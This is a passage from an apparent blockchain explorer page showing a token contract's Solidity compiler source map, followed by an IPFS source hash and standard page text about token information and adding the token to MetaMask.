;10286:1;10281:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10281:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10356:15:::1;::::0;10324:62:::1;::::0;10341:4:::1;::::0;10356:15:::1;10374:11:::0;10324:8:::1;:62::i;:::-;10397:15;::::0;:196:::1;::::0;-1:-1:-1;;;10397:196:0;;-1:-1:-1;;;;;10397:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10478:11;;10397:15:::1;::::0;10520:4;;10547::::1;::::0;10567:15:::1;::::0;10397:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;10075:1:0;10070:4;:6;-1:-1:-1;;10087:6:0;:14;;-1:-1:-1;;;;10087:14:0;;;-1:-1:-1;;10117:484:0:o;1543:246::-;1601:7;1625:1;1630;1625:6;1621:47;;-1:-1:-1;1655:1:0;1648:8;;1621:47;1678:9;1690:5;1694:1;1690;:5;:::i;:::-;1678:17;-1:-1:-1;1723:1:0;1714:5;1718:1;1678:17;1714:5;:::i;:::-;:10;1706:56;;;;-1:-1:-1;;;1706:56:0;;13080:2:1;1706:56:0;;;13062:21:1;13119:2;13099:18;;;13092:30;13158:34;13138:18;;;13131:62;-1:-1:-1;;;13209:18:1;;;13202:31;13250:19;;1706:56:0;12878:397:1;1706:56:0;1780:1;1543:246;-1:-1:-1;;;1543:246:0:o;2004:132::-;2062:7;2089:39;2093:1;2096;2089:39;;;;;;;;;;;;;;;;;:3;:39::i;9887:100::-;9944:7;9973:1;9971;:3;9970:9;;9978:1;9970:9;;;-1:-1:-1;9976:1:0;9887:100;-1:-1:-1;9887:100:0:o;1014:179::-;1072:7;;1104:5;1108:1;1104;:5;:::i;:::-;1092:17;;1133:1;1128;:6;;1120:46;;;;-1:-1:-1;;;1120:46:0;;13482:2:1;1120:46:0;;;13464:21:1;13521:2;13501:18;;;13494:30;13560:29;13540:18;;;13533:57;13607:18;;1120:46:0;13280:351:1;1797:199:0;1866:7;1899:1;1894;:6;;1886:49;;;;-1:-1:-1;;;1886:49:0;;13838:2:1;1886:49:0;;;13820:21:1;13877:2;13857:18;;;13850:30;13916:32;13896:18;;;13889:60;13966:18;;1886:49:0;13636:354:1;1886:49:0;1953:35;1957:9;1961:1;1964;1957:3;:9::i;:::-;1968:19;1972:1;1975:11;1979:1;1982:3;1975;:11::i;:::-;1968:3;:19::i;:::-;1953:3;:35::i;:::-;1946:42;1797:199;-1:-1:-1;;;;1797:199:0:o;1201:136::-;1259:7;1286:43;1290:1;1293;1286:43;;;;;;;;;;;;;;;;;:3;:43::i;2144:189::-;2230:7;2265:12;2258:5;2250:28;;;;-1:-1:-1;;;2250:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2289:9:0;2301:5;2305:1;2301;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:226::-;1378:6;1431:2;1419:9;1410:7;1406:23;1402:32;1399:52;;;1447:1;1444;1437:12;1399:52;-1:-1:-1;1492:23:1;;1319:226;-1:-1:-1;1319:226:1:o;1550:508::-;1627:6;1635;1643;1696:2;1684:9;1675:7;1671:23;1667:32;1664:52;;;1712:1;1709;1702:12;1664:52;1751:9;1738:23;1770:31;1795:5;1770:31;:::i;:::-;1820:5;-1:-1:-1;1877:2:1;1862:18;;1849:32;1890:33;1849:32;1890:33;:::i;:::-;1550:508;;1942:7;;-1:-1:-1;;;2022:2:1;2007:18;;;;1994:32;;1550:508::o;2252:247::-;2311:6;2364:2;2352:9;2343:7;2339:23;2335:32;2332:52;;;2380:1;2377;2370:12;2332:52;2419:9;2406:23;2438:31;2463:5;2438:31;:::i;2712:388::-;2780:6;2788;2841:2;2829:9;2820:7;2816:23;2812:32;2809:52;;;2857:1;2854;2847:12;2809:52;2896:9;2883:23;2915:31;2940:5;2915:31;:::i;:::-;2965:5;-1:-1:-1;3022:2:1;3007:18;;2994:32;3035:33;2994:32;3035:33;:::i;:::-;3087:7;3077:17;;;2712:388;;;;;:::o;3105:356::-;3307:2;3289:21;;;3326:18;;;3319:30;3385:34;3380:2;3365:18;;3358:62;3452:2;3437:18;;3105:356::o;3656:127::-;3717:10;3712:3;3708:20;3705:1;3698:31;3748:4;3745:1;3738:15;3772:4;3769:1;3762:15;3788:375;3876:1;3894:5;3908:249;3929:1;3919:8;3916:15;3908:249;;;3979:4;3974:3;3970:14;3964:4;3961:24;3958:50;;;3988:18;;:::i;:::-;4038:1;4028:8;4024:16;4021:49;;;4052:16;;;;4021:49;4135:1;4131:16;;;;;4091:15;;3908:249;;;3788:375;;;;;;:::o;4168:902::-;4217:5;4247:8;4237:80;;-1:-1:-1;4288:1:1;4302:5;;4237:80;4336:4;4326:76;;-1:-1:-1;4373:1:1;4387:5;;4326:76;4418:4;4436:1;4431:59;;;;4504:1;4499:174;;;;4411:262;;4431:59;4461:1;4452:10;;4475:5;;;4499:174;4536:3;4526:8;4523:17;4520:43;;;4543:18;;:::i;:::-;-1:-1:-1;;4599:1:1;4585:16;;4658:5;;4411:262;;4757:2;4747:8;4744:16;4738:3;4732:4;4729:13;4725:36;4719:2;4709:8;4706:16;4701:2;4695:4;4692:12;4688:35;4685:77;4682:203;;;-1:-1:-1;4794:19:1;;;4870:5;;4682:203;4917:42;-1:-1:-1;;4942:8:1;4936:4;4917:42;:::i;:::-;4995:6;4991:1;4987:6;4983:19;4974:7;4971:32;4968:58;;;5006:18;;:::i;:::-;5044:20;;4168:902;-1:-1:-1;;;4168:902:1:o;5075:140::-;5133:5;5162:47;5203:4;5193:8;5189:19;5183:4;5162:47;:::i;5220:168::-;5293:9;;;5324;;5341:15;;;5335:22;;5321:37;5311:71;;5362:18;;:::i;5745:251::-;5815:6;5868:2;5856:9;5847:7;5843:23;5839:32;5836:52;;;5884:1;5881;5874:12;5836:52;5916:9;5910:16;5935:31;5960:5;5935:31;:::i;6585:277::-;6652:6;6705:2;6693:9;6684:7;6680:23;6676:32;6673:52;;;6721:1;6718;6711:12;6673:52;6753:9;6747:16;6806:5;6799:13;6792:21;6785:5;6782:32;6772:60;;6828:1;6825;6818:12;7475:456;7563:6;7571;7579;7632:2;7620:9;7611:7;7607:23;7603:32;7600:52;;;7648:1;7645;7638:12;7600:52;-1:-1:-1;;7693:16:1;;7799:2;7784:18;;7778:25;7895:2;7880:18;;;7874:25;7693:16;;7778:25;;-1:-1:-1;7874:25:1;7475:456;-1:-1:-1;7475:456:1:o;10318:125::-;10383:9;;;10404:10;;;10401:36;;;10417:18;;:::i;10803:135::-;10842:3;10863:17;;;10860:43;;10883:18;;:::i;:::-;-1:-1:-1;10930:1:1;10919:13;;10803:135::o;11295:128::-;11362:9;;;11383:11;;;11380:37;;;11397:18;;:::i;11560:127::-;11621:10;11616:3;11612:20;11609:1;11602:31;11652:4;11649:1;11642:15;11676:4;11673:1;11666:15;11692:959;11954:4;12002:3;11991:9;11987:19;12033:6;12022:9;12015:25;12076:6;12071:2;12060:9;12056:18;12049:34;12119:3;12114:2;12103:9;12099:18;12092:31;12143:6;12178;12172:13;12209:6;12201;12194:22;12247:3;12236:9;12232:19;12225:26;;12286:2;12278:6;12274:15;12260:29;;12307:1;12317:195;12331:6;12328:1;12325:13;12317:195;;;12396:13;;-1:-1:-1;;;;;12392:39:1;12380:52;;12461:2;12487:15;;;;12452:12;;;;12428:1;12346:9;12317:195;;;-1:-1:-1;;;;;;;12568:32:1;;;;12563:2;12548:18;;12541:60;-1:-1:-1;;12632:3:1;12617:19;12610:35;12529:3;11692:959;-1:-1:-1;;;11692:959:1:o;12656:217::-;12696:1;12722;12712:132;;12766:10;12761:3;12757:20;12754:1;12747:31;12801:4;12798:1;12791:15;12829:4;12826:1;12819:15;12712:132;-1:-1:-1;12858:9:1;;12656:217::o
Swarm Source
ipfs://768c3ffef5398c35a80db1a73b56db67a6c21358f604fcfd4cc2b5027f847a06
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)